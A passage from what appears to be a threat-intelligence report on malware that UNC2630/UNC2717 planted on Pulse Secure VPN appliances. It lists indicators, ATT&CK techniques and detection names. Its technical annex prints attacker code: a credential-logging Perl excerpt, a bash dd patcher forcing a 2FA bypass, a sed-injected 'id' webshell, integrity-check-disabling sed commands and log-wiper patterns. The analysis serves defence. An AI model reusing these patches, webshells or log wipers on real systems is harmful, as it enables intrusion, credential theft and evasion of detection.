7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2 d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b PULSEJUMP, RADIALPULSE AND PACEMAKER use the following files to record credentials: /tmp/dsactiveuser.statementcounters /tmp/dsstartssh.statementcounters /tmp/dsserver-check.statementcounters cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 The malicious operations of SLOWPULSE can be detected via log correlation between the authentication servers responsible for LDAP and RADIUS auth and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging. a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1 Upon invocation of the PULSECHECK webshell, the following HTTP request headers will be sent: Key Value REQUEST_METHOD POST HTTP_X_KEY <BackdoorKey> HTTP_X_CNT <RC4Key> HTTP_X_CMD <RC4Command> 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd SLOWPULSE VARIANT 2 writes ACE logon credentials to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n. 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2 PACEMAKER is saved at filepath /home/bin/memread Executed with commandline flags –t, -m, -s Attaches to victim processes with PTRACE and opens subfiles in /proc/ 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 THINBLOOD creates the files: /home/runtime/logs/log.events.vc1 /home/runtime/logs/log.events.vc2 /home/runtime/logs/log.access.vc1 /home/runtime/logs/log.access.vc2 Executes the system API with the mv command specifying one of the files above, targeting: /home/runtime/logs/log.access.vc0 /home/runtime/logs/log.events.vc0 Executes the rm command specify one of the .vc1 files above 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a SLIGHTPULSE uses /tmp/1 as command execution log All POST requests to meeting_testjs.cgi are suspicious POST parameters: cert, img, name are used by malicious logic Responses to the endpoint with the name parameter respond with no-cache and image/gif 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9 THINBLOOD execution of sed on the files: log.events.vc0 log.access.vc0 Log.admin.vc0 Sed patterns used: s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g s/\x<hex_char>\x00[^\x00]*<regex_string>[^\x00]*\x09\x<hex_char>\x00//g 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 The sample accepts an input and output file as its first and second arguments, then writes a patched version of the input out. The commandline argument e or E must be supplied as the fourth argument. Example command line: ./patcher input.bin output.bin backdoorkey e f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90 The sample uses the HTTP query parameter id and responds with HTTP headers “Cache-Control: no-cache\n” and “Content-type: text/html\n\n”. 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450 64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7 78d7c7c9f800f6824f63a99d935a4ad0112f97953d8c100deb29dae24d7da282 705cda7d1ace8f4adeec5502aa311620b8d6c64046a1aed2ae833e2f2835154f Execute sed on PulseSecure system files Remounts filesystem as writable: system(“/bin/mount -o remount,rw /dev/root /”) Unexpected execution of other system commands such as tar, cp, rm MITRE ATT&CK Techniques The following list of MITRE ATT&CK techniques cover all malware samples described in this report as well as those observed throughout the lifecycle of UNC2630 and UNC2717. T1003-OS Credential Dumping T1016-System Network Configuration Discovery T1021.001-Remote Desktop Protocol T1027-Obfuscated Files or Information T1036.005-Match Legitimate Name or Location T1048-Exfiltration Over Alternative Protocol T1049-System Network Connections Discovery T1053-Scheduled Task/Job T1057-Process Discovery T1059-Command and Scripting Interpreter T1059.003-Windows Command Shell T1070-Indicator Removal on Host T1070.001-Clear Windows Event Logs T1070.004-File Deletion T1071.001-Web Protocols T1082-System Information Discovery T1098-Account Manipulation T1105-Ingress Tool Transfer T1111-Two-Factor Authentication Interception T1133-External Remote Services T1134.001 Access Token Manipulation: Token Impersonation/Theft T1136-Create Account T1140-Deobfuscate/Decode Files or Information T1190-Exploit Public-Facing Application T1505.003-Web Shell T1518-Software Discovery T1554-Compromise Client Software Binary T1556.004-Network Device Authentication T1592.004 Gather Victim Host Information: Client Configurations T1562 Impair Defenses T1569.002-Service Execution T1574 Hijack Execution Flow  T1600-Weaken Encryption Figure 6: MITRE ATT&CK Map Technical Annex SLIGHTPULSE The file meeting_testjs.cgi (SHA256: 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a) is a webshell capable of arbitrary file read, write, and command execution. Malicious logic is inserted at the end of legitimate logic to respond to POST requests. We believe this webshell may be responsible for placing additional webshells and used to modify legitimate system components resulting in the other observed malware families due to its functionality. The malicious logic inserts a branch condition to respond to HTTP POST requests rather than just the typical GET requests expected of the legitimate code. If GET requests are performed the legitimate logic is still invoked. POST requests have a series of parameters checked for existence to determine which command to invoke. This logic is: POST params Invoked Command cert writefile img, name with nonempty value readfile img set to empty string “”, name execcmd anything else invoke original legitimate logic Figure 7: Webshells respond to POSTs All incoming and outgoing requests are base64 encoded/decoded and RC4 encrypted/decrypted. The scheme is simple. The first six characters of the data are a random key generated per request as a sort of nonce, with the static RC4 key appended. This nonce + phrase together act as the RC4 key. The phrase is not sent over the wire, only the nonce. This entire key is then used to encrypt/decrypt payload data that immediately follows the key. The form of data on the wire is: Outbound/Inbound: <6randbytes><encrypted_data> ^-RC4NONCE-^ Usage: <6randbytes><rc4_phrase><encrypted_data> ^——-RC4 KEY——–^ ReadFile This command accepts a base64 encoded, RC4 encrypted file name via the img parameter and opens it for read. The file contents are read in full then sent back to the attacker as base64 encoded, RC4 encrypted data with the headers “Content-type: application/x-download\n”, and form header “Content-Disposition: attachment; filename=tmp\n\n”. WriteFile This command accepts a base64 encoded, RC4 encrypted filename via the cert parameter, and base64 encoded, RC4 encrypted file data via the parameter md5. The filename is opened in write mode with the file data being written to the file before the file is closed. The results of this command are sent back to the attacker, using the headers “Cache-Control: no-cache\n” and “Content-type: text/html\n\n”. Execute This command accepts a base64 encoded, RC4 encrypted commands via the name parameter. The malicious logic forbids the cd command and will respond with the text Error 404 if executed. All other commands will be executed via the system API with output piped to the file /tmp/1. The full system command is <command> >/tmp/1 2>&1. The output of this execution is read and sent back to the attacker base64 encoded, RC4 encrypted. The headers “Cache-Control: no-cache\n” and “Content-type: image/gif\n\n” are used. The response appears to be masquerading as a GIF when sending back this command output. RADIALPULSE The file with the SHA256 hash d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b is a modified Perl script associated with a PulseSecure web-based tool which causes usernames, passwords and information associated with logins to this application to be written to the file /tmp/dsstartssh.statementcounters. Retrieval of these login credentials must be achieved through other means such as an interactive login or a webshell. Persistence is achieved by the addition of compromised code which is continually served when requesting this PulseSecure webpage. An excerpt of the code related to credential stealing is shown as follows: my $realmName1 = $signin->getRealmInfo()->{name};      open(*fd, “>>/tmp/dsstartssh.statementcounters”);       syswrite(*fd, “realm=$realmName1 “, 5000);          syswrite(*fd, “username=$username “, 5000);         syswrite(*fd, “password=$password\n”, 5000);  close(*fd); SLOWPULSE Variant 1 The file libdsplibs.so with SHA256 cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 is a trojanized ELF shared object belonging to the PulseSecure VPN server. The sample has been modified to bypass specific authentication mechanisms of the LDAP and RADIUS protocols. The sample hardcodes a backdoor key that will silently subvert auth failures if the correct backdoor key is passed, establishing a VPN connection as if auth succeeded. If the backdoor password is not used, authentication will fail as normal. In multiple locations assembly is written into the padding regions between legitimate functions. As these regions are very small, around 20 bytes, the malicious logic stitches itself together by unconditionally jumping between multiple padding regions. The assembly is written in a way very similar to mid-function hooks, where it is common to push and then pop all flags and registers before and after the injected logic. By preserving registers and flags in this way the malicious logic is able to execute and perform its malicious logic as a passive observer if desired, only effecting the control flow in specific conditions. This is employed in two locations, the LDAP and RADIUS authentication routines, DSAuth::LDAPAuthServer::authenticate and DSAuth::RadiusAuthServer::checkUsernamePassword respectively. LDAP Auth Bypass In the typical execution of DSAuth::LDAPAuthServer::authenticate the legitimate application constructs the C++ object DSAuth::LDAPAuthServer::ldap then passes it to DSLdapServer::bind with the username and password for login. This bind may fail or succeed which determines the authentication failure or success of the LDAP protocol. The malicious logic inserted into the application redirects execution before DSLdapServer::bind just after the ldap object is constructed. At this point in execution the username and password are easily extracted from memory with mid-function hooking techniques, which the sample copies to a code cave in memory between two functions as a temporary storage location. The malicious logic then invokes DSLdapServer::bind as the normal logic would, which sets the return register EAX to 0 or 1 for failure or success. A check is then executed where the temporary password copy made earlier is checked against a hardcoded backdoor password. If this check passes the backdoor logic actives by overwriting EAX to 1 to force the application down the execution path of successful authentication, even though in reality authentication failed. RADIUS Two Factor Auth Bypass In the typical execution of DSAuth::RadiusAuthServer::checkUsernamePassword the legitimate application sends a RADIUS-2FA auth packet with username and password via RadiusAuthPacket::sendRadiusPacket. The response is then retrieved and parsed by the routine DSAuth::RadiusAuthServer::handleResponse. After packet retrieval the packet type is verified to be 3, it’s not known what this packet type specifies but this is the packet type of a successful authentication response. If the packet type check passes, then the sample reads a field of the packet that specifies if authentication was successful or not and then checks this status later. The inserted malicious logic hijacks execution just after DSAuth::RadiusAuthServer::handleResponse where the password sent to the RADIUS server is checked against a backdoor password. If this check passes the malicious logic overwrites the retrieved packet with values indicating that it’s of type 3 and that authentication was successful. The malicious logic then rejoins the original execution flow where the packet type is checked. If written the spoofed values force the application down the execution path of successful authentication, even though in reality authentication failed. SLOWPULSE Variant 2 ACE Two Factor Auth Credential Logging We also identified a variant of SLOWPULSE (SHA256: 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd) which logs credentials used during ACE-2FA protocol authentication. The backdoor is implemented in the routine DSAuth::AceAuthServer::checkUsernamePassword. As part of the login procedure the username and password are retrieved then written into a map entry structure. The backdoor inserts an unconditional jump into the logon logic that takes this map entry structure, reads the username and password fields, then writes them to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n. The backdoor then unconditionally jumps back into the normal control flow to continue the logon process as normal. SLOWPULSE Variant 3 ACE Two Factor Auth Bypass We Identified another variant of SLOWPULSE (SHA256: b1c2368773259fbfef425e0bb716be958faa7e74b3282138059f511011d3afd9) which is similar to SLOWPULSE VARIANT 2 the malicious logic lives within DSAuth::AceAuthServer::checkUsernamePassword, however this variant bypasses the logon procedure rather than login credentials. Typical execution of this routine calls DsSecID_checkLogin to validate the username and password which sets the EAX register to 1. The routine DSAuth::AceAuthServer::handleACEAuthResult then checks EAX to determine if auth was successful or not. The malicious logic hijacks execution immediately after the username and password fields are written to their map entries, then checks if the password matches the backdoor password. If the password matches, then the EAX register is overwritten to 1. This puts the program in the same state as if DsSecID_checkLogin had successfully executed, but unlike SLOWPULSE VARIANT 1 the original authentication routine is not called at all. The malicious logic then rejoins execution before DSAuth::AceAuthServer::handleACEAuthResult which will now pass. This forces the application down the execution path of successful authentication, even though in reality authentication would have failed. SLOWPULSE Variant 4 RealmSignin Two Factor Auth Bypass We identified a fourth variant of SLOWPULSE responsible for bypassing what may be the two-factor authentication step of the DSAuth::RealmSignin process. The backdoor is present within the function DSAuth::RealmSignin::runSigninStep.This routine is responsible for multiple steps of the login procedure and is implemented as a large switch statement. Case 11 of the switch statement typically calls the routines DSMap::setPrivacyKeyNames then DSAuth::RealmSignin::runSecondaryAuth. The malicious logic in this variant overwrites the call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This forces application flow as if DSAuth::RealmSignin::runSecondaryAuth always succeeds, without ever calling it. We were not able to recover a file with these patches applied as the attacker removed their patches after use. However, we did uncover both the patcher and unpatcher utilities. We do not provide a hash for this file as we have not recovered it from a system in the field. This analysis was performed by replaying the changes performed by the patcher we did recover. SLOWPULSE Variant 2 Patcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722c is responsible for inserting SLOWPULSE V2 malicious logic to log ACE credentials. The patcher accepts two command line arguments, the path to the original binary and the patched output file path. The original binary is read into memory, patched, and then written to the output path. The assembly patches and offsets into the original binary are hardcoded. SLOWPULSE Variant 3 Patcher  As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 is responsible for inserting SLOWPULSE V3 malicious logic to bypass ACE logon authentication process. The patcher accepts four arguments. The first argument is the original binary path, the second the patched output file path, third is the backdoor bypass password, and fourth is the letter e specifying to apply patches. The sample reads the original binary into memory, applies the assembly patches associated with SLOWPULSE V3, as well as the provided bypass password, then written to the output path. The assembly patches, and all offsets including where to copy the bypass password are hardcoded. SLOWPULSE Variant 4 Patcher As part of our investigation into the SLOWPULSE family we recovered the utility the attacker used to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415 responsible for inserting the patch for SLOWPULSE V3. The patch applied overwrites a single call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This patcher utility is a simple bash script, unlike the previous patchers which were compiled applications likely written in C. The script in full is: printf ‘\xB8’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31)) printf ‘\x01’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32)) printf ‘\x00’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33)) printf ‘\x00’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34)) printf ‘\x00’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35)) SLOWPULSE Variant 4 UnPatcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to remove the malicious logic into the original libdsplibs.so file for SLOWPULSE V4. The attacker chose to remove the patches applied to libdsplibs.so. The file with SHA256: b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062a is the unpatcher utility for SLOWPULSE V4. This sample is also a simple bash script, in full it is: printf ‘\xE8’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31)) printf ‘\xE2’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32)) printf ‘\x08’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33)) printf ‘\xD0’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34)) printf ‘\xFF’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35)) STEADYPULSE The file licenseserverproto.cgi (SHA256: 168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc) is a webshell implemented via modification of a legitimate Perl script used by a Pulse Secure tool which enables arbitrary command execution. The attacker inserted two blocks of Perl code that implement the webshell. The source code modifications are surrounded by comments that indicate the start and end of inserted code. The comment strings used are ##cgistart1, ##cgiend1, ##cgistart2 and ##cgiend2. Although the exact purpose of these comment strings is unknown, the attacker may use them to facilitate updates to the malicious code or to allow for its quick removal if necessary. The Perl script enclosed in the tags ##cgistart1 and ##cgiend1 adds several lines to import Perl modules that are used by the webshell. It also adds a function to parse parameters of received command data. The script enclosed in the tags ##cgistart2 and ##cgiend2 is responsible for checking web requests designed to be executed by the webshell, if present. If no webshell request is found, the script passes execution to the legitimate Perl script for the webpage. The webshell portion of the script is invoked when it receives a form submission name=value pair of serverid matching a secret key. This causes the webshell to extract the string passed to it via the QUERY_STRING CGI environment variable. Individual key/value pairs delimited by the & character and are URL decoded. Although the script parses out all key/value pairs it receives, it specifically looks for and extracts data associated with the cmd parameter. If found, it will generate a form containing the extracted cmd to be executed and the previous serverid value along with a form submission button named Run. Upon submission, the webshell will execute the passed command on the victim host’s command line and display the results to the attacker before exiting. If no cmd value was extracted, the webshell will simply output a </pre> HTML tag. PULSECHECK The file secid_canceltoken.cgi (SHA256: a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1) is a webshell written in Perl that enables arbitrary command execution. With a properly formatted request, the script will execute webshell code. Otherwise, the legitimate welcome page of the Pulse Secure VPN software is presumably invoked. The script checks for web requests using the HTTP POST method and, if found, will further check the HTTP request headers for the CGI environment variable HTTP_X_KEY. If this header matches a backdoor key, then the malware will output the result of the command sent in the variable HTTP_X_CMD. This data is RC4 encrypted and base64-encoded. The passphrase to decrypt is sent in the environment variable HTTP_X_CNT. The webshell will set the content type to Content-type:text/html and the command output printed. Following this, the script exits. QUIETPULSE The file dsserver (SHA256: 9f6ac39707822d243445e30d27b8404466aa69c61119d5308785bf4a464a9ebd) is a legitimate Perl script with malicious modifications to fork the child process /home/bin/dshelper. The dshelper script does not exist on a clean PulseSecure installation, this file is described as QUIETPULSE Utility Script. QUIETPULSE Utility Script The file dshelper (SHA256: c774eca633136de35c9d2cd339a3b5d29f00f761657ea2aa438de4f33e4bbba4) is a shell script invoked by a malicious version of dsserver that primarily functions as a utility script responsible for copying files and executing commands. Like the ATRIUM patcher, this script accesses /tmp/data, a path which is used during a system upgrade. This file is therefore, like the ATRIUM patcher, used by the attacker to maintain persistence. The script is set to execute in a loop where four main checks are executed every two minutes. The checks are as follows: Check 1 If /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi exists and is non-empty then execute: grep -c -s ‘system($depara)’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi It checks if the file has the contents system($depara). If the file does not contain this content, then retrieve the first line of the file by executing: sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then copy a file via: cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then replace the copy’s first line with the one retrieved from the sed above via: sed -i 1c”<varies>” /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Check 2 If /tmp/data/root/home/bin/ exists as a directory, then check if the file /tmp/data/root/home/bin/dshelper does not exist. If it does not exist, then place it there by copying a file via: cp -p /home/bin/dshelper /tmp/data/root/home/bin/ Check 3 If /tmp/data/root/home/bin/dsserver exists and is non-empty then execute the following to check if the file does not contain the string exec(“/home/bin/dshelper”): grep -c -s ‘exec(“/home/bin/dshelper”)’ /tmp/data/root/home/bin/dsserver If it doesn’t then execute to insert the line: sed -i ‘s/for (;;)/my $monpid = fork();\nif ($monpid == 0) {\nexec(\”\/home\/bin\/dshelper\”);\n}\n&/g’ /tmp/data/root/home/bin/dsserver Check 4 If the file /tmp/data/root/home/bin/check_integrity.sh exists and is non-empty, then check if the file contains the string exit 1 by executing: grep -c -s ‘exit 1’ /tmp/data/root/home/bin/check_integrity.sh If the file does contain this content, then execute the following to switch the content to exit 0: sed -i ‘s/exit 1/exit 0/g’ /tmp/data/root/home/bin/check_integrity.sh PULSEJUMP The file with SHA256: 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a is a system information and credential harvesting Perl script. The sample writes information from multiple sources to the file /tmp/dsactiveuser.statementcounters in append mode. The sample begins by retrieving all auth servers via the API AuthAdmin::getAllAuthServers. and logs the results. Next, the sample logs all roles via the API DSRole::GeneralAdmin::getRoles and writes the values to the file. The sample may also retrieve and log additional information depending on the device configuration. HARDPULSE The file compcheckjava.cgi (SHA256: 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc) has the ability to read and write arbitrary files and may execute arbitrary commands depending on the implementation of a particular library function. The sample responds to HTTP GETs and PUTs. The GET path is not relevant, but the PUT path first checks if the incoming requests checkcode POST param is equal to a hardcoded passcode. If this check passes the sample inspects the param hashid to determine if it’s non-empty. If non-empty the sample displays a prompt to the user that includes hardware information and then base64 decodes the param hashid and checks it against pulsesecure. If this matches a recoveryToken is generated which is the MD5 hash of 16 random bytes, with the result hash truncated to 8 characters. This token is then displayed to the user via the URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> and the sample exits. If this check did not match then the sample passes the base64 decoded data to a routine DSSafe::psystem which may execute shell commands, however this implementation is not provided and is speculation. If the param hashid is empty the sample instead checks that the param m is non-empty. If so, it’s matched against get and put which will read/write arbitrary files to the host, respectively. ATRIUM The file compcheckresult.cgi (SHA256: f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90) is a webshell capable of arbitrary command execution. The sample has malicious logic inserted at the end of legitimate logic. The malicious logic inspects all requests of any type looking for the HTTP query parameter id. If this query parameter exists, the sample executes it verbatim on using the system API. The sample does not encode or obfuscate the command in any way. If the query parameter is not found in the request, then the original legitimate logic is invoked. Persistence Patcher The file DSUpgrade.pm (SHA256: 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450) is a patcher utility script responsible for persisting webshells across a system upgrade. We’ve observed variants of this utility targeting the persistence of multiple webshell families, notably ATRIUM, STEADYPULSE, and PULSECHECK. Like previous patchers, this sample uses sed to insert malicious logic. The attacker likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the attacker to maintain access to the system across updates. my $cmd_x=”sed -i ‘/echo_console \”Saving package\”/i(     sed -i \\\’/main();\\\$/cif(CGI::param(\\\\\”id\\\\\”)){         print \\\\\”Cache-Control: no-cache\\\\\\\\n\\\\\”;         print \\\\\”Content-type: text/html\\\\\\\\n\\\\\\\\n\\\\\”;         my \\\\\$na=CGI::param(\\\\\”id\\\\\”);         system(\\\\\”\\\\\$na\\\”);     } else{         &main();     }\\\’ /tmp/data/root$cgi_p;     cp -f /home/perl/DSUpgrade.pm /tmp/data/root/home/perl;     cp -f /pkg/dspkginstall /tmp/data/root/pkg/; )’/pkg/do-install”; The patcher also performs additional shell commands for unpacking a compressed package: system(“/bin/mount -o remount,rw /dev/root /”); system(“/bin/tar”, “-xzf”, “/tmp/new-pack.tgz”, “-C”, “/tmp”,”./installer”); system(“cp -f /tmp/installer/do-install /pkg/”); system(“cp -f /tmp/installer/VERSION /pkg/”); system(“cp -f /tmp/installer/sysboot-shlib /pkg/”); system(“cp -f /tmp/installer/losetup /pkg/”); PACEMAKER The file memread (SHA256: 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2) is a credential stealer. The sample has the usage information: Usage: memread [-t time(minute)] [-m size(MB)] [-s sleep_interval(second)] The sample starts by setting an alarm that kills the application after a configurable number of minutes, 14 by default. It then enters a loop which reads /proc/ entries every 2 seconds looking for a target application, this interval is also configurable. The target is found by opening /proc/<process_name>/cmdline for each entry in the folder and then reading this file looking for the string dswsd within the command line. Once found the target application’s proc/<target_pid>/mem is opened, the process is attached to with PTRACE, then memory read in chunks up to 512 bytes in size. For each chunk, the string 20 30 20 0A 00 ( 0 \n) is searched for as a needle. If found the sample splits the data by first space, then a dash -. Two dashes are expected to be found, and these are immediately converted into hex numbers, example form: -<number>. If the second number minus the first is > 8191 the sample reads the data starting at the file offset of the first number, up to a size specified by second number minus first number. Once the sample has read the process memory and found all memory data of interest the sample detaches PTRACE then the sample begins memory scanning the copied data. The sample tries to locate a sequence of ‘flags’ in memory one by one to locate what seem to be information the attacker wishes to steal. This information is not known, nor is the structure of it. The sequences scanned for generally have start and end scan sequences which in order scanned for, are: USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00 USER_END_FLAG: 3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 00 PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00 PASSWORD_END_FLAG: 3C 2F 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00 AUTHNUM_START_FLAG: 3C 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00 AUTHNUM_END_FLAG: 3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00 If all these sequences are found, the data between the start and end is extracted and eventually formatted and written to the file /tmp/dsserver-check.statementcounters. The approximate format of this data is: Name:<username> || Pwd:<password> || AuthNum:<authnumber>\n The sample replaces the following URL encoded values with their ascii representation for the password: &amp; ->  & &lt;  ->  < &gt;  ->  > PACEMAKER Launcher Utility As part of our investigation into PACEMAKER we were able to retrieve a simple bash script responsible for launching the credential stealer. The launcher script hash SHA256 4c5555955b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ec launches PACEMAKER from a hardcoded path with options specifying a 16MB memory read size and a memory scan interval of 2 seconds, with a variable self-kill time. #!/bin/bash /home/bin/memread -t $1 -m 16 -s 2 & THINBLOOD Log Wiper Utility The file dsclslog with SHA256 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 is a log wiper utility. The sample provides the usage information: Usage: dsclslog -f [events|access] -r [Regex1,Regex2,Regex3,…] The –f flag specifies if the file log.events.vc0 or log.access.vc0 within the directory /home/runtime/logs should be modified. To perform its log cleaning operations the sample first makes two copies of whichever log file was chosen, but uses .vc1 and .vc2 as the extension for the new files. The file with the .vc1 is used to search for entries that match the given entries, and the file with the .vc2 extension is used as a temporary file where the cleaned log is written. After generating both files and log cleaning is finished the sample executes the following commands via the system API to overwrite the original log with the cleaned version, then removes the intermediate: mv /home/runtime/logs/log.<logtype>.vc2 /home/runtime/logs/log.<logtype>.vc0 rm /home/runtime/logs/log.<logtype>.vc1 THINBLOOD LogWiper Utility Variant The file clear_log.sh (SHA256: 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9) is a BASH script responsible for zeroing log lines that match a given regex pattern. The sample is similar to the compiled THINBLOOD Log Wiper but edits logs in-place with sed rather than making temporary copies. The sed commands used are: sed -i “s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g” /data/runtime/logs/<logfile> sed -i “s/\x<hex_char>\x00[^\x00]*$2[^\x00]*\x09\x<hex_char>\x00//g” /data/runtime/logs/<logfile> The sample embeds the usage information: usage: /home/bin/bash clear_log.sh [logfile] [keyword(regex)] LOCKPICK The file libcrypto.so (SHA256: 2610d0372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8) is a shared object containing cryptographic logic from openssl. The sample contains a modification to the routine bnrand_range that breaks the security of the random numbers generated. There are three paths in this routine for generating a random big number between a given range. The first case is unmodified and generates a zeroed big number, the other two cases are patched so that a constant value overwrites the generated random value and always returns success. This breaks the random number generation by replacing it with a value the attacker knows in all cases. LOCKPICK Patcher The file with the hash b990f79ce80c24625c97810cb8f161eafdcb10f1b8d9d538df4ca9be387c35e4 is a patcher utility responsible for inserting the malicious logic known as LOCKPICK. The patcher starts by running sed on the integrity checker script built into the appliance to insert an early exit routine. This is inserted by the command sed -i ’12aexit 0′ /home/bin/check_integrity.sh which when applied causes this script to exit without performing its intended checks. After this the sample uses python file read/write APIs to insert long strings of assembly that represent the logic known as LOCKPICK. This file is different from the other patchers we’ve identified in that it is python and specifically targets system integrity routines. Detecting the Techniques The following table contains specific FireEye product detection names for the malware families associated with the exploitation of Pulse Secure VPN device. Platform(s)  Detection Name  Network Security  Email Security  Detection On Demand  Malware File Scanning  Malware File Storage Scanning    FE_APT_Webshell_PL_HARDPULSE_1 FEC_APT_Webshell_PL_HARDPULSE_1 APT.Webshell.PL.HARDPULSE FE_APT_Trojan_PL_PULSEJUMP_1 FEC_APT_Trojan_PL_PULSEJUMP_1 FE_Trojan_PL_Generic_1 FE_APT_Trojan_PL_RADIALPULSE_1 FEC_APT_Trojan_PL_RADIALPULSE_1 FE_APT_Trojan_PL_RADIALPULSE_2 FE_APT_Trojan_PL_RADIALPULSE_3 FEC_APT_Trojan_PL_RADIALPULSE_2 FE_APT_Trojan_PL_RADIALPULSE_4 FEC_APT_Trojan_PL_RADIALPULSE_3 FE_APT_Trojan_PL_RADIALPULSE_5 FE_APT_Tool_SH_RADIALPULSE_1 FEC_APT_Tool_SH_RADIALPULSE_1 FE_APT_Trojan_Linux32_PACEMAKER_1 FE_APT_Trojan_Linux_PACEMAKER_1 FE_APT_Backdoor_Linux32_SLOWPULSE_1 FE_APT_Backdoor_Linux32_SLOWPULSE_2  FE_APT_Trojan_Linux32_SLOWPULSE_1  FE_APT_Tool_Linux32_SLOWPULSE_1 FE_APT_Webshell_PL_STEADYPULSE_1  FEC_APT_Webshell_PL_STEADYPULSE_1  APT.Webshell.PL.STEADYPULSE FE_APT_Trojan_Linux32_LOCKPICK_1 FE_Webshell_PL_ATRIUM_1  FEC_Webshell_PL_ATRIUM_1 FE_Trojan_SH_ATRIUM_1 FE_APT_Webshell_PL_SLIGHTPULSE_1 FEC_APT_Webshell_PL_SLIGHTPULSE_1 APT.Webshell.PL.SLIGHTPULSE FE_APT_Webshell_PL_PULSECHECK_1 FEC_APT_Webshell_PL_PULSECHECK_1 FE_APT_Tool_Linux32_THINBLOOD_1  FE_APT_Tool_Linux_THINBLOOD_1       FE_APT_Tool_SH_THINBLOOD_1  FEC_APT_Tool_SH_THINBLOOD_1 APT.Tool.Linux.THINBLOOD.MVX FE_APT_Trojan_PL_QUIETPULSE_1 FEC_APT_Trojan_PL_QUIETPULSE_1  FE_Trojan_SH_Generic_2  FEC_Trojan_SH_Generic_3 Suspicious Pulse Secure HTTP request (IPS) 